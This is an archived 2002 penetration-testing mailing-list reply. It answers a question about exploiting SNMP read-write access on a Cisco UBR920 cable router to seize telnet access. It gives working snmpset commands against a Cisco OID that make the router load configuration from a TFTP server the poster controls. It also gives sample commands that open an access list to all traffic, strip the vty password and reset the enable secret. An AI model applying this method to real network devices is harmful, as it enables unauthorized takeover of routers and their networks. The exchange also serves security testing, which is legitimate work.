RE: Cisco UBR920 cable router - SNMP to change telnet passwords?

From: Friendly Guy (unix_boy_in_calgary3@yahoo.com)
Date: Thu Nov 28 2002 - 01:47:08 EST


Even though this is not exactly what you are looking
for, you might wanna give it a try. I used this in the
past to change configs & access-lists on remote Cisco
routers/switches, using only the RW community.
Basically, this is the method to upload "config t"
commands via TFTPBOOT. It basically gave me the access
to the router's configuration mode (conf t) command
line access. My box was set up as a TFTPBOOT & had the
commands in a script, exactly as how I would enter
them on the config t prompt.

For ex. to kill & open access-list 15, I had this in
my tftpboot script:
no access-list 15
access-list 15 permit ip any any

You could obviously add whatever you need like "line
vty 0 4 no password PA$$WORD enable secret
SECRETPA$$" etc...

Here's how I did it. I did set up a TFTPBOOT server on
my box & sent an snmpset to the remote Cisco device. I
used a Solaris box to send my SNMP request, this box
had a TFTBOOT set up as well. The script was located
in the TFTPboot

snmpset -c RWcommunity IPADDRESS_of_the_router
.1.3.6.1.4.1.9.2.1.55.IP_ADDRESS_OF_YOUR_TFTPBOOT
octetstring name_of_the_config_on_the_tftp

Ex:
node 10.10.10.198
RW private
tftpboot address: 192.168.4.119
File located in TFTPBOOT directory, containing the
list of configuration commands: confg_file

snmpset -c private 10.10.10.198
.1.3.6.1.4.1.9.2.1.55.192.168.4.119 octetstring
confg_file

I used this little shortcut 'internally' & not on out
on the internet. I hope this works for you out
there...
Cheers,

Sylvain Robichaud

-----Original Message-----

From: Wolf, Glenn [mailto:glenn.wolf@we-inc.com]

Sent: November 26, 2002 2:10 PM

To: pen-test@securityfocus.com

Subject: Cisco UBR920 cable router - SNMP to change
telnet passwords?

Hi,

As per the following vulnerability:
http://online.securityfocus.com/bid/3758

... does anyone know how to exploit SNMP read-write
access to change or retrieve the usernames/passwords
protecting the telnet access? I have SNMP read-write
access on the Cisco UBR920 cable router, so I could
DoS it, but I'm looking for further access.

Thanks in advance,

Glenn

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